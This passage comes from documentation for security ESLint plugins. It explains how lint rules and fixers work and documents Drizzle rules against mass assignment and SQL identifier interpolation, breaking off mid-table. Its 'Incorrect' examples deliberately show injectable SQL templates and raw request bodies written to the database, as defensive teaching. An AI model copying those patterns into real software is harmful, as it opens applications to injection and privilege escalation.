or [`benchmarks/results/`](https://github.com/ofri-peretz/eslint/tree/main/benchmarks/results). 3. A GitHub workflow under [`.github/workflows/`](https://github.com/ofri-peretz/eslint/tree/main/.github/workflows) runs the script on PR or on schedule. 4. The claim is registered in [`CLAIMS.md`](https://github.com/ofri-peretz/eslint/blob/main/CLAIMS.md) with the artifact and last-verified date. 5. Marketing text on docs / homepage / READMEs links back to the claim row. If any link in that chain breaks, the claim is stale and gets a "verification pending" banner in docs until refreshed. We treat this like a build failure. *** ## What we deliberately don't measure (yet) [#what-we-deliberately-dont-measure-yet] Honest deferrals — each is named in [`EVALUATION_METRICS.md`](https://github.com/ofri-peretz/eslint/blob/main/distribution/EVALUATION_METRICS.md) and tracked in the gap-closure history. * **Per-call latency distribution.** Today the per-rule budget gate normalizes total corpus time by file count. Real per-call p50 / p95 needs the bench runner to wrap each rule's visitor; that's planned for the next `ilb-flagship` schema bump. * **Time-to-first-response for peer plugin issues.** §9 placeholder in EVALUATION\_METRICS.md. Requires paginating `gh api repos///issues` with rate-limit handling. * **Adversarial-rewrite resilience numbers for SAST tools.** We measure ours (`ilb-evade`); we don't run CodeQL / Semgrep / Snyk through the same corpus. When a deferral closes, the row in [`EVALUATION_METRICS.md`](https://github.com/ofri-peretz/eslint/blob/main/distribution/EVALUATION_METRICS.md) gets the artifact pointer and this list shrinks. *** ## Related pages [#related-pages] * [Ecosystem Landscape](/docs/getting-started/concepts/ecosystem) — per-plugin map of neighbors, where we add depth. * [Compatibility](/docs/getting-started/concepts/compatibility) — engine + ESLint + Node matrices. * [Runtime Portability](/docs/getting-started/concepts/runtime-portability) — the parity contract. * [Compare vs SAST tools](/docs/getting-started/concepts/compare) — CodeQL / Semgrep / Snyk Code. * [Benchmarks](/docs/getting-started/concepts/benchmarks) — live performance numbers. # How ESLint plugins work > I'm going to walk you through the pipeline an ESLint plugin sits in, > end to end. By the end you should be able to read any rule file in this > repo (or in `eslint-plugin-import`, or in `@typescript-eslint`) and know > what each piece is doing without re-deriving it. The shape of every > rule is the same; the variation is in *what the visitor functions > notice*. *** ## The 30-second answer [#the-30-second-answer] Every lint result on your screen — every red squiggle, every missing-alt warning, every "no-unused-vars" — comes out of this pipeline: ``` your source code │ ▼ Parser (espree / @typescript-eslint/parser / oxc) │ ▼ AST (an object tree: nodes have a `type`, children, location) │ ▼ Traversal (ESLint walks the tree once, depth-first) │ ▼ Rule visitors (`Identifier`, `CallExpression`, … — your callbacks fire on matching nodes) │ ▼ context.report() (you said "something's wrong here" — produces a message + location) │ ▼ Findings (line/column/severity/ruleId — what the user sees) │ ▼ (optional) fixer (a callback that rewrites the source span to fix it) ``` That's it. The rule itself is the *content* of one visitor function. The pipeline above is fixed; you slot your detection logic into the visitor and let ESLint do everything else. ESLint walks the AST **once** for the whole file and dispatches each node to every rule that registered a visitor for that node type. That's why writing a hot rule is a per-node-visit cost question, not a per-rule-cost question. *** ## What an actual rule looks like [#what-an-actual-rule-looks-like] The minimum viable rule, ESLint-API style: ```ts import type { Rule } from 'eslint'; export const rule: Rule.RuleModule = { meta: { type: 'problem', docs: { description: 'forbid eval()' }, messages: { noEval: 'eval() runs arbitrary code at runtime — forbidden.', }, schema: [], }, create(context) { return { // Visitor: fires on every `CallExpression` node in the source. CallExpression(node) { if (node.callee.type === 'Identifier' && node.callee.name === 'eval') { context.report({ node, messageId: 'noEval', }); } }, }; }, }; ``` The three pieces: 1. **`meta`** — what kind of rule, what it's called, what messages it can emit, what options it accepts. ESLint reads this without running the rule (it's how `--rule` listings work, how docs generators introspect, how IDE hovers show the description). 2. **`create(context)`** — a factory that ESLint calls once per file. Returns an object whose keys are AST node types and whose values are visitor functions. Closure scope here is per-file state. 3. **`context.report(...)`** — your hand on the trigger. Once you call it, ESLint owns the rest: severity, ruleId, file path, line/column, the fixer if you passed one. Three patterns sit on top of this primitive: | Pattern | Where you see it | | :--------------------------------------------------------------------------------------------------------------------------------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Single-node check.** Look at the current node, decide. `eval()` above. | Anywhere the rule's signature is purely local: "this `` tag is missing `alt`," "this regex has catastrophic backtracking." | | **Two-pass with `Program:exit`.** Collect data on the way down, decide on `Program:exit` (fires when ESLint finishes the file). | `no-unused-vars`, `no-cycle` — you need the whole file's information before you can say something is unused or part of a cycle. | | **Cross-node correlation.** Hold state in the closure; the visitor pushes into it, a later visitor (or `Program:exit`) checks the accumulated state. | Taint-flow rules: `let x = req.body.userId` on a `VariableDeclaration`, then `db.query('SELECT * FROM users WHERE id = ' + x)` on a `CallExpression` whose argument is a `BinaryExpression` — needs the closure to remember that `x` is tainted. | *** ## Why the AST, not the source text [#why-the-ast-not-the-source-text] The temptation, when you write your first rule, is to regex the source. Don't. The source text doesn't tell you that `eval` is a function call versus an identifier in a string literal versus a key in an object: ```js eval(userInput); // ← this is the bug const map = { eval: 1 }; // ← this is fine console.log('eval()'); // ← also fine ``` The AST knows. Each occurrence of `eval` here has a different parent node — `CallExpression.callee`, `Property.key`, `Literal.value` — and your visitor only fires on the one that matters. That's the whole reason ESLint won — it traded grep for AST and got massively better signal-to-noise. The default ESLint parser is `espree`, which handles modern JavaScript but not TypeScript. For TS, you swap in `@typescript-eslint/parser`, which produces a superset AST (same node types plus TS-specific ones like `TSTypeAnnotation`). Oxlint uses `oxc-parser` (Rust), which emits the same `ESTree`-shaped AST. The rule's visitor doesn't care — it asks for `Identifier` and gets `Identifier`, whoever parsed it. *** ## How a visitor fires [#how-a-visitor-fires] Suppose your rule registers `Identifier(node) { ... }`. For each file ESLint lints: 1. Parser produces the AST root (always a `Program` node). 2. ESLint walks the tree depth-first. 3. Every time it hits an `Identifier` node — and there are hundreds in a typical file — it calls your visitor function with that node. 4. ESLint also calls `Identifier:exit(node)` (note the `:exit` suffix) on the way back *up* the tree. Most rules don't need this; the ones that do use it for cleanup ("I'm done with this scope, pop state"). You can register multiple visitors in one rule — ESLint dispatches each node to *every* matching visitor across *every* enabled rule. The practical consequence: a rule that registers `Identifier` runs on every identifier in the file, including standard-library names, variable declarations, and member-access expressions. If your check is anything more than O(1) per node, it adds real time to every file in the project. This is why our flagship rules have **narrow firing signatures** — a node type that only fires a few times per file, with a quick filter at the top: ```ts // Hot path: this fires on every CallExpression. Bail fast. CallExpression(node) { if (node.callee.type !== 'MemberExpression') return; // ~99% of calls if (node.callee.property.type !== 'Identifier') return; if (node.callee.property.name !== 'query') return; // ← rare // ...now the real work } ``` Every `return` above saves the rule from doing real work on a node it doesn't care about. Cumulative across hundreds of identifiers per file and hundreds of files per repo, those returns are the difference between a rule that costs 0.5 ms/file and one that costs 50 ms/file. *** ## The fixer — when rules can autofix [#the-fixer--when-rules-can-autofix] If your rule passes a `fix` function in the report call, ESLint can automatically rewrite the source span to fix the issue: ```ts context.report({ node, messageId: 'noVar', fix(fixer) { return fixer.replaceText(node, 'const'); // `var` → `const` }, }); ``` The fixer object has a small, well-defined API: | Method | What it does | | :------------------------------------------ | :--------------------------------------------- | | `fixer.replaceText(node, str)` | Replace the source range of `node` with `str`. | | `fixer.insertTextBefore(node, str)` | Insert `str` immediately before `node`. | | `fixer.insertTextAfter(node, str)` | Insert `str` immediately after `node`. | | `fixer.remove(node)` | Delete `node`'s source range entirely. | | `fixer.replaceTextRange([start, end], str)` | Replace the byte range `[start, end)`. | | `fixer.removeRange([start, end])` | Delete the byte range `[start, end)`. | ESLint applies fixes in order, skipping any that would overlap with an already-applied fix. This is why a rule's `fix` should rewrite the **minimum** source span that resolves the issue — wider spans collide with other rules' fixes and the user ends up running `--fix` twice. A rule with a fixer is making a promise: "the code I produce is semantically equivalent to the code I replaced." Get that wrong and you silently change behavior. Our convention is fixers ship only when the replacement is provably equivalent (literal `var` → `const` in a single-assignment scope; quoted-string concatenation in a `pg.query()` call → a parameterized placeholder). When there's a judgment call, we emit the diagnostic but leave the fix to the developer. *** ## How ESLint knows which rules to run [#how-eslint-knows-which-rules-to-run] A user writes a config: ```js // eslint.config.js import secureCoding from 'eslint-plugin-secure-coding'; export default [ { plugins: { 'secure-coding': secureCoding }, rules: { 'secure-coding/no-hardcoded-credentials': 'error', }, }, ]; ``` ESLint resolves `secure-coding/no-hardcoded-credentials` by: 1. Look up the plugin named `'secure-coding'` in the config's `plugins` map → finds the `secureCoding` import. 2. Look up `'no-hardcoded-credentials'` in `secureCoding.rules` → finds the rule module (the `{ meta, create }` object). 3. Call `create(context)` for each file being linted. The plugin object is just `{ rules: Record }`, optionally with `configs` (named presets like `recommended` / `flagship`) and `meta`. There's no registry, no manifest, no service discovery — the plugin is a plain object you import from a package. This shape is what makes ESLint rules portable. The same rule object loads under ESLint 8, ESLint 9, ESLint 10, and oxlint's JS-plugin tier (in alpha as of 2026-05 — see [`writing-js-plugins`](https://oxc.rs/docs/guide/usage/linter/writing-js-plugins.html)). Because the rule is data plus a function, swapping the host engine swaps everything around the rule without touching the rule itself. *** ## What's NOT in the pipeline (and why) [#whats-not-in-the-pipeline-and-why] A few things you might expect that aren't there: * **Type checking.** ESLint by default is purely syntactic — it sees the AST, not types. For type-aware rules, you opt into `@typescript-eslint/parser`'s services and ask for `services.program.getTypeChecker()`. Every flagship rule in this repo is type-unaware on purpose, because the type-aware tier is \~10–100× slower per file and we want our rules to run under oxlint (which only runs the JS-plugin tier, no TypeScript program build). * **Cross-file analysis.** A rule's `create(context)` is called per file. If you need to know "is this exported symbol used somewhere else," you write a separate scan (that's how `eslint-plugin-import/no-cycle` works) — not a rule visitor. ESLint's tree walker is intra-file by design. * **Time-traveling history.** The visitor sees one snapshot of the source. If you want "was this added in the last commit," that's a custom-formatter or report-time concern, not a rule concern. *** ## Where to read past my words [#where-to-read-past-my-words] Every assertion above is in the source. The links below let you verify. * **ESLint's rule-author guide** — [eslint.org/docs/latest/extend/custom-rules](https://eslint.org/docs/latest/extend/custom-rules) — the canonical doc; what's above is the narrative version of this. * **The default parser** — [github.com/eslint/espree](https://github.com/eslint/espree) — the parser ESLint ships with. Produces an `ESTree`-shaped AST. * **AST shape** — [github.com/estree/estree](https://github.com/estree/estree) — the formal spec for the node-type names you register visitors for (`CallExpression`, `Identifier`, `Program`, …). * **AST Explorer** — [astexplorer.net](https://astexplorer.net) — paste any source, see the AST. Indispensable when writing a new rule. * **Our flagship rules** — [`.agent/flagship-rules.md`](https://github.com/ofri-peretz/eslint/blob/main/.agent/flagship-rules.md) — the 10 rules this monorepo holds up as exemplars. Read [`packages/eslint-plugin-postgresql-security/src/rules/no-unsafe-query/`](https://github.com/ofri-peretz/eslint/tree/main/packages/eslint-plugin-postgresql-security/src/rules/no-unsafe-query) for a hand-rolled SQL-injection visitor. * **Oxlint's JS-plugin contract** — [oxc.rs/docs/guide/usage/linter/writing-js-plugins](https://oxc.rs/docs/guide/usage/linter/writing-js-plugins.html) — the same shape this chapter describes, but with `createOnce(context)` as a more efficient `create(context)` variant. Alpha as of 2026-05. If a paragraph here didn't earn its keep — tell me. Suggest changes [via the GitHub source link](https://github.com/ofri-peretz/eslint/blob/main/apps/docs/content/docs/learn/how-eslint-plugins-work/index.mdx) or [open a discussion](https://github.com/ofri-peretz/eslint/discussions). *** **Next in the series:** Designing a flagship rule — the 5 selection criteria from `.agent/flagship-rules.md` with `pg/no-unsafe-query` as the worked example end-to-end. *(Planned — see the [Learn index](/docs/learn) for the chapter roadmap.)* # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-browser-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-browser-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-drizzle-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-drizzle-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-express-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-express-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-knex-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-knex-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-jwt-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-jwt-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-lambda-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-lambda-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-mysql-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-mysql-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-mongodb-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-mongodb-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-nestjs-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-nestjs-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-node-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-node-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-postgresql-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-postgresql-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-prisma-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-prisma-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-sequelize-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-sequelize-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-secure-coding/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-secure-coding/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-sqlite-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-sqlite-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-typeorm-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-typeorm-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-vercel-ai-security/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-vercel-ai-security/README.md) on GitHub and cached for 1 hour. Every rule includes CWE, OWASP LLM Top 10, and CVSS metadata for AI assistants to provide precise, context-aware fixes. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-conventions/CHANGELOG.md) on GitHub and cached for 2 hours. # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-conventions/README.md) on GitHub and cached for 1 hour. Enforce consistent patterns across your team with customizable rule configurations. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-import-next/CHANGELOG.md) on GitHub and cached for 2 hours. View on GitHub → # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-import-next/README.md) on GitHub and cached for 1 hour. Measured on a 5,736-file / 455K-LoC React codebase: full lint 51.7s → 16.7s, `no-cycle` rule time 39.2s → 4.9s, with 100% detection parity. See [benchmarks](/docs/getting-started/concepts/benchmarks). *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-maintainability/CHANGELOG.md) on GitHub and cached for 2 hours. # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-maintainability/README.md) on GitHub and cached for 1 hour. Reduce cognitive load and improve code readability with consistent patterns. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-modernization/CHANGELOG.md) on GitHub and cached for 2 hours. # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-modernization/README.md) on GitHub and cached for 1 hour. Upgrade your codebase to ES2022+ syntax with auto-fixable rules. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-modularity/CHANGELOG.md) on GitHub and cached for 2 hours. # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-modularity/README.md) on GitHub and cached for 1 hour. Enforce clean module boundaries and prevent circular dependencies. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-operability/CHANGELOG.md) on GitHub and cached for 2 hours. # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-operability/README.md) on GitHub and cached for 1 hour. Ensure your code is ready for production with operability best practices. *** View README.md on GitHub → # Changelog This changelog is fetched directly from GitHub releases. # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-react-a11y/README.md) on GitHub and cached for 1 hour. Ensure your React applications meet WCAG accessibility standards. *** View README.md on GitHub → # Changelog This changelog is fetched directly from GitHub releases. # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-react-features/README.md) on GitHub and cached for 1 hour. Enforce React best practices and feature patterns for maintainable applications. *** View README.md on GitHub → # Changelog This changelog is fetched directly from [CHANGELOG.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-reliability/CHANGELOG.md) on GitHub and cached for 2 hours. # Overview This content is fetched directly from [README.md](https://github.com/ofri-peretz/eslint/blob/main/packages/eslint-plugin-reliability/README.md) on GitHub and cached for 1 hour. Prevent runtime errors and ensure code reliability with defensive programming patterns. *** View README.md on GitHub → # no-mass-assignment **CWE:** [CWE-915](https://cwe.mitre.org/data/definitions/915.html) **OWASP:** [A04:2021 – Insecure Design](https://owasp.org/Top10/A04_2021-Insecure_Design/) Detects an inbound request object — or a spread of one — reaching a Drizzle write. This rule is part of [`eslint-plugin-drizzle-security`](https://www.npmjs.com/package/eslint-plugin-drizzle-security). 💼 This rule is set to **error** in the `strict` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-915](https://cwe.mitre.org/data/definitions/915.html) (Improperly Controlled Modification of Dynamically-Determined Object Attributes) | | **Severity** | High (CVSS 8.1) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this matters [#why-this-matters] ```ts await db.insert(users).values(req.body); ``` That line updates the fields the endpoint is *about*. It also updates every other column on the model: `role`, `isAdmin`, `ownerId`, `emailVerified`, `credits`, `stripeCustomerId`. None of them appear in the diff, which is why this passes review — the vulnerability is in what the code does not say. It is also one of the few defects that gets worse without anyone touching it. Add a `role` column to the model six months from now and every existing mass-assignment site silently starts accepting it. No line changes; the exposure is new. That is what makes this worth a lint rule rather than a code review habit. Drizzle takes the row directly on `.values()` and `.set()`, so the argument itself is the payload. ## ❌ Incorrect [#-incorrect] ```ts // ❌ the whole request object await db.insert(users).values(req.body); // ❌ spreading it is the same thing await db.update(users).set({ ...req.body }).where(eq(users.id, id)); ``` ## ✅ Correct [#-correct] ```ts // ✅ name the columns this endpoint owns await db.insert(users).values({ name: req.body.name, email: req.body.email }); // ✅ or validate into a typed object first const input = insertUserSchema.parse(req.body); await db.insert(users).values(input); ``` ## What this rule deliberately does not report [#what-this-rule-deliberately-does-not-report] * **A payload that names its fields.** `{ name: req.body.name }` reads one value out of the request; it is the fix, and it is silent. Note that a named field *beside* a spread does not help — `{ ...req.body, updatedAt }` still carries everything the spread brought. * **An object that merely has a `body` or `query` key.** `form.body` and `config.query` are ordinary application objects. The chain has to bottom out in a request-shaped identifier (`req`, `request`, `ctx`, `context`, `event`). * **`ctx.data` / `context.data`.** `data` is ordinary application state in several frameworks, so it is not treated as a request surface — a deliberate false negative in exchange for not reporting code with no request in it. * **A value it cannot see through.** `repo.create(validated)` or `repo.create(buildInput(req))` may still be unsafe, but the rule cannot prove it and will not guess. Guessing is how a security rule earns a false-positive reputation. * **A file that never imports drizzle-orm.** The driver import is the gate that keeps this rule inside its own plugin. ## When Not To Use It [#when-not-to-use-it] There is no configuration in which handing the raw request to a write is correct, so this rule has no options — and deliberately so. An allowlist option would let a project re-approve the dangerous shape wholesale, one config file further from the call site, which is the same mistake with more steps. If a specific call is genuinely safe — an internal job with a payload you construct yourself — disable it there with a reason: ```ts // eslint-disable-next-line drizzle-security/no-mass-assignment -- payload is built in-process, not from a request await db.insert(users).values(req.body); ``` ## Further Reading [#further-reading] * [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) * [OWASP A04:2021 – Insecure Design](https://owasp.org/Top10/A04_2021-Insecure_Design/) * [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html) # no-raw-identifier-interpolation **CWE:** [CWE-89](https://cwe.mitre.org/data/definitions/89.html) **OWASP:** [A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/) Detects an identifier — a table, a column, a sort direction — interpolated into a `` sql`…` `` template. This rule is part of [`eslint-plugin-drizzle-security`](https://www.npmjs.com/package/eslint-plugin-drizzle-security). 💼 This rule is set to **error** in the `strict` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------ | | **CWE Reference** | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) (SQL Injection) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this matters [#why-this-matters] `` sql`…` `` parameterizes. That is the entire reason to use it, and it is why these two lines get the same review: ```ts await db.execute(sql`SELECT * FROM users WHERE id = ${id}`); // safe await db.execute(sql`SELECT * FROM ${table}`); // injectable ``` The first is safe. The second is not, and no amount of care with the template changes that, because **a bind parameter can only ever be a value**. `$1` is a placeholder in the value slot of the parse tree. No database accepts one where a table, a column, or a sort direction belongs — so when you put an identifier hole there, the driver has nothing to bind and splices your string in verbatim. This is the shape behind [GHSA-gpj5-g38j-94v9](https://github.com/advisories/GHSA-gpj5-g38j-94v9). It is invisible to every SQL-injection linter that decides by asking "is this a raw API", because this *is* the safe API. The reason it survives review is that the remediation everyone knows — "use a parameter" — is what the developer already believes they are doing. Repeating it produces the loop the vulnerability came from. There are only two real fixes, and this rule's messages name them: Drizzle's `sql.identifier()`, or an allowlist. ## ❌ Incorrect [#-incorrect] ```ts import { sql } from 'drizzle-orm'; // ❌ the advisory shape — table name from input await db.execute(sql`SELECT * FROM ${table}`); // ❌ column name in ORDER BY await db.execute(sql`SELECT * FROM users ORDER BY ${req.query.sort}`); // ❌ sort direction — two legal values, and neither is bindable await db.execute(sql`SELECT * FROM users ORDER BY name ${dir}`); // ❌ pre-quoting escapes nothing; it only makes the line look deliberate await db.execute(sql`SELECT * FROM "${table}"`); ``` ## ✅ Correct [#-correct] ```ts import { sql } from 'drizzle-orm'; // ✅ values — exactly what the template is for await db.execute(sql`SELECT * FROM users WHERE id = ${id} LIMIT ${n}`); // ✅ the escaper quotes the identifier properly await db.execute(sql`SELECT * FROM ${sql.identifier(table)}`); // ✅ an allowlist turns input into a value you wrote const column = { name: 'name', created: 'created_at' }[input] ?? 'id'; await db.execute(sql`SELECT * FROM users ORDER BY ${sql.identifier(column)}`); // ✅ a direction resolved to a literal const dir = input === 'desc' ? 'desc' : 'asc'; ``` ## What this rule deliberately does not report [#what-this-rule-deliberately-does-not-report] * **Every value position.** `WHERE id = ${id}`, `LIMIT ${n}`, `VALUES (${name})`, `SET a = ${v}` are what the tagged template parameterizes correctly. A rule that fired on the API's intended use is a rule that gets switched off. * **Drizzle's composition surface** — `sql.identifier()`, `sql.join()`, `sql.fromList()`, `sql.placeholder()`. These produce SQL chunks rather than spliced text, and `sql.identifier()` in particular is the fix this rule recommends; reporting the remediation punishes the correction. `sql.raw()` is pointedly *not* in that list — it is the one member of the family that does splice, so `` sql`SELECT * FROM ${sql.raw(table)}` `` is still a finding here. * **A literal.** `` sql`SELECT * FROM ${'users'}` `` is a constant you typed. There is no untrusted input in it. * **A nested `` sql`…` `` fragment.** Composition is Drizzle's intended primitive, and the nested template is checked on its own visit — so its holes are still covered, just not twice. * **A file that never imports `drizzle-orm`.** `sql` is far too common a local name to key on alone; the driver import is the gate that keeps this rule inside its own plugin. ## How this splits with `no-unsafe-query` [#how-this-splits-with-no-unsafe-query] The two rules divide by *what* is wrong, not by which API you used: | | reports | | ----------------------------------------- | -------------------------------------------------------------------------------------------------------------- | | [`no-unsafe-query`](./no-unsafe-query.md) | **string construction** — concatenation or interpolation used to *build* the SQL text passed to `sql.raw(...)` | | this rule | 